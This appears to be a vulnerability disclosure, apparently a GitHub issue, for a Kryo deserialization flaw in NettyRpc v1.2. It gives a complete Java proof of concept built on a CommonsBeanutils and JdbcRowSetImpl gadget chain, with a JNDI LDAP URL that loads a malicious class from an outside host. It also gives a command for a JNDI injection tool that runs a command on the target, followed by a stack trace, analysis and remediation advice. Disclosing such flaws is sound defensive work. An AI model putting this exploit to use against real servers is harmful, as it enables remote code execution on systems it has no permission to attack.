Describe the Vulnerability
A deserialization vulnerability in NettyRpc v1.2 allows attackers to execute arbitrary commands via sending a crafted RPC request.
Environment
- NettyRpc: v1.2
- JVM version: JDK 1.8(Tested on JDK 1.8.0_65)
Preparation for Vulnerability Verification
For the purpose of this proof of concept and simplicity, the following assumptions are made:
- There is an additional method named "sayObject" in the HelloService
![image](https://private-user-images.githubusercontent.com/46960004/287126313-7475f041-59de-4c00-ba42-3ca8973da117.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjYzMTMtNzQ3NWYwNDEtNTlkZS00YzAwLWJhNDItM2NhODk3M2RhMTE3LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTg2NDc4MzMyMTQzYWRmNzk3NzZmYzlmYjdlODhkZjcwNGFkNDIwNWRmOTZiOGQ1MGRkOWNjMTg3NzljODI1NGMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.et0385puadM7Kp54A8YI56rahShfiyZ7s2uVIQCso6Y)
![image](https://private-user-images.githubusercontent.com/46960004/287126337-a93b0291-2ab2-4e1a-8d7b-d57c3e5302bc.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjYzMzctYTkzYjAyOTEtMmFiMi00ZTFhLThkN2ItZDU3YzNlNTMwMmJjLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTIxYjJiOGQyMDNjMDk2NjU3OGM5NDc0YTMzZDkxYWMyMjY4NDM5Y2ZhODZmNzU1NzcxNmM5OWQzYjYzY2FhZWQmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.2frQdoZc92VYd9M-AztJ2uwRpNahI9vMBOFWWuXK95M)
![image](https://private-user-images.githubusercontent.com/46960004/287126368-fd7d188b-9a67-4f5d-aa0c-d7c54c1446c6.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjYzNjgtZmQ3ZDE4OGItOWE2Ny00ZjVkLWFhMGMtZDdjNTRjMTQ0NmM2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTdiYzA3Njc1OGI3ODA2OGRmOTUzYWJiNTljNDQ1ZDY1MzU3NzNlNDNjYmI1ZTdlZjFhY2RhZTQzNTA5MDNmMWEmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.Jm0ALlRTxIi7dUqfV9AxbchjfmmvMHzCJv4W2U2uvq0)
- The application has dependencies on commons-collections and commons-beanutils.:
![image](https://private-user-images.githubusercontent.com/46960004/287126480-4834cf6e-7aaf-4c27-88f8-76247f872ff7.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjY0ODAtNDgzNGNmNmUtN2FhZi00YzI3LTg4ZjgtNzYyNDdmODcyZmY3LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWE5MTZmZTM0Y2VmMDU5N2ZjYTU0Yzc3ZmM2OWNiY2YzMjFmMzUyOTY4YTZmOTg2MWVjM2UyMDMzMDk3YTA3MjQmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.muA04EgKOTlT7rOKldOPNroR4ch4aWCBt3vIFpy9sJk)
3 Remote class loading is allowed (either because an old JDK version is being used, or by using the JVM argument -Dcom.sun.jndi.ldap.object.trustURLCodebase=true)
Exploit and Analysis
POC
-
Obtain the JNDI injection tool from: https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
-
Use the following command below to establish a JNDI link
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
![image](https://private-user-images.githubusercontent.com/46960004/287126654-4ed1dc26-37d4-44a1-b279-b2f1716ce352.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjY2NTQtNGVkMWRjMjYtMzdkNC00NGExLWIyNzktYjJmMTcxNmNlMzUyLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTk1ZTM2ZmMyOTU0YzhjYTZhMTAzODIyMjMwNWRmZjcwNDA1NTI3ZmVjNThiYzMzYjRlZjAwM2M3YTJmZTY3ZjgmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.BZOoBL1Uf931XX6hwxOgYYPRosPosqVGuZ6DPBnGy_Q)
-
Paste the provided POC code below into the project, ensuring to modify the JNDI URL address!
package com.app.test.client;
import com.netty.rpc.client.RpcClient;
import com.app.test.service.HelloService;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.Comparator;
import java.util.TreeMap;
public class RpcObject {
public static void main(String[] args) throws Exception {
final RpcClient rpcClient = new RpcClient("127.0.0.1:2181");
final HelloService syncClient = rpcClient.createService(HelloService.class, "1.0");
BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
// Modify the jndiURL here!
String jndiUrl = "ldap://169.254.197.239:1389/0i9tqe";
Object trig = makeTreeMap(makeJNDIRowSet(jndiUrl), cmp);
setFieldValue(cmp, "property", "databaseMetaData");
syncClient.helloObject(trig);
rpcClient.stop();
}
public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator ) throws Exception {
TreeMap<Object, Object> tm = new TreeMap<>(comparator);
Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
entryCons.setAccessible(true);
Field leftF = getField(entryCl, "left");
Field rootF = getField(TreeMap.class, "root");
Object root = entryCons.newInstance(tgt, tgt, null);
leftF.set(root, entryCons.newInstance(tgt, tgt, root));
rootF.set(tm, root);
setFieldValue(tm, "size", 2);
return tm;
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static JdbcRowSetImpl makeJNDIRowSet (String jndiUrl ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}}
- Execute RpcServerBootstrap2 in the "com.app.test.server" package.
![image](https://private-user-images.githubusercontent.com/46960004/287127051-3bc65ffa-570e-460d-a108-2fb6025b19ce.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjcwNTEtM2JjNjVmZmEtNTcwZS00NjBkLWExMDgtMmZiNjAyNWIxOWNlLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWRhYzMwZDgyMGQ3NmNlZjQ4NmZlYjhjMmIzY2YwYjQxMzdiMDVjYTMwYWNjNGM4MjRlZGFjNzY0OTg1YzFhMDMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.jjF0IJ7F60MaEoeFI60cru7J2BAPX0nM0Sb5U_zwZRk)
- Run the POC code, and examine the obtained result:
![image](https://private-user-images.githubusercontent.com/46960004/287127106-2c967784-6ed1-468a-b530-51d5477d338b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjcxMDYtMmM5Njc3ODQtNmVkMS00NjhhLWI1MzAtNTFkNTQ3N2QzMzhiLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWNhN2JmY2ZkYzNlNDQ0MDQxNzcwOTY5M2FiYzEyOGQ5NzFhNWMxMTczNDNkZWMyMGI1NzNlM2Q0OTZjNmQ4MjgmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.PX_DQWQuuxMUEy_mEN3Pgk1rnDqlwTU6s5mwUgWkqHU)
- Stack Trace:
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
compare:1291, TreeMap (java.util)
put:538, TreeMap (java.util)
read:162, MapSerializer (com.esotericsoftware.kryo.serializers)
read:39, MapSerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:391, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
read:302, DefaultArraySerializers$ObjectArraySerializer (com.esotericsoftware.kryo.serializers)
readObject:734, Kryo (com.esotericsoftware.kryo)
read:125, ObjectField (com.esotericsoftware.kryo.serializers)
read:543, FieldSerializer (com.esotericsoftware.kryo.serializers)
readObject:712, Kryo (com.esotericsoftware.kryo)
deserialize:43, KryoSerializer (com.netty.rpc.serializer.kryo)
decode:42, RpcDecoder (com.netty.rpc.codec)
decodeRemovalReentryProtection:505, ByteToMessageDecoder (io.netty.handler.codec)
callDecode:444, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:283, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:328, ByteToMessageDecoder (io.netty.handler.codec)
channelRead:302, ByteToMessageDecoder (io.netty.handler.codec)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:287, IdleStateHandler (io.netty.handler.timeout)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:352, AbstractChannelHandlerContext (io.netty.channel)
channelRead:1422, DefaultChannelPipeline$HeadContext (io.netty.channel)
invokeChannelRead:374, AbstractChannelHandlerContext (io.netty.channel)
invokeChannelRead:360, AbstractChannelHandlerContext (io.netty.channel)
fireChannelRead:931, DefaultChannelPipeline (io.netty.channel)
read:163, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)
processSelectedKey:700, NioEventLoop (io.netty.channel.nio)
processSelectedKeysOptimized:635, NioEventLoop (io.netty.channel.nio)
processSelectedKeys:552, NioEventLoop (io.netty.channel.nio)
run:514, NioEventLoop (io.netty.channel.nio)
run:1044, SingleThreadEventExecutor$6 (io.netty.util.concurrent)
run:74, ThreadExecutorMap$2 (io.netty.util.internal)
run:30, FastThreadLocalRunnable (io.netty.util.concurrent)
run:745, Thread (java.lang)
Analysis
Trigger
- In RpcDecoder, the default deserialization method is Kryo:
![image](https://private-user-images.githubusercontent.com/46960004/287127405-420967bc-5848-4cf3-8481-53a0dae008ac.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjc0MDUtNDIwOTY3YmMtNTg0OC00Y2YzLTg0ODEtNTNhMGRhZTAwOGFjLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTg4Y2U2YWVmM2MwNjJkOWY1YTM5ZjVlMTY3ODE2ZGNkN2Q1YTE1N2QyYzE5MzA4ZWZjMzllYzZkNTAyZDQyZWEmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.KzPzIcz-VAw7-tfqOOgywEkZgV3qQqk89hr5NjElybw)
-
Subsequently, KryoSerializer receives the object from com.netty.rpc.codec.RpcRequest (our malicious object) and places it into deserialization without conducting any security checks:
![image](https://private-user-images.githubusercontent.com/46960004/287127545-17bb31a8-11c1-440b-962a-b84bbbf1e400.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjc1NDUtMTdiYjMxYTgtMTFjMS00NDBiLTk2MmEtYjg0YmJiZjFlNDAwLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPWFjNmJkOGFiNzIwY2RhNmRiNjU3ZDg4MWRhMTlhZDM2YzBlOTBhNjcyMmM2NjE2NGE5M2EwYzk4MmY2ZDc5YjUmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.1dHZZjndiFARoZzfYZ_tzm3jr1KpBK4k_Io3Zhvo7bQ)
-
The process then follows the CommonsBeanutils gadget:
![image](https://private-user-images.githubusercontent.com/46960004/287127614-046e7d7e-9b7d-43c5-b1c6-6058dd9a857b.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjEzMTgwOTAsIm5iZiI6MTcyMTMxNzc5MCwicGF0aCI6Ii80Njk2MDAwNC8yODcxMjc2MTQtMDQ2ZTdkN2UtOWI3ZC00M2M1LWIxYzYtNjA1OGRkOWE4NTdiLnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNDA3MTglMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjQwNzE4VDE1NDk1MFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTY0MzdlODg0MTkzNDMzMDQzODkyZjRmNjcyNjlmNTExNmViYTFkYThjZDM0YWE2YjJlZGExY2VhNDI1ZDNkOTYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JmFjdG9yX2lkPTAma2V5X2lkPTAmcmVwb19pZD0wIn0.S8RbBCiPIYGdr8jdmer-dsfL0GMwnrbqEBXKefA8Ygc)
Remediation Recommendations
1. Upgrade Kryo to Version 5.0 or Higher:
Upgrade the Kryo library to version 5.0 or a later release to benefit from the latest security enhancements and bug fixes.
2. Strict Outbound Internet Access Control
Due to the prevalence of known attack vectors leveraging JDNI injection to achieve Remote Code Execution (RCE), which requires the remote loading of malicious classes, it is recommended, where feasible without impacting business operations, to implement strict outbound internet access controls on server configurations.
3. Restriction of Access to Server
It is advisable to restrict external access to the server either by utilizing whitelist IP configurations or by closing public-facing ports. This measure aims to reduce the attack surface and potential risks associated with external access to the server.
4. Implementation of Whitelists/Blacklists for Serialization/Deserialization Classes
Establishing whitelists or blacklists for serialization/deserialization classes within the serialization protocol is recommended. This helps to restrict the deserialization of malicious classes. However, it is important to note that using a blacklist may introduce the risk of potential bypasses.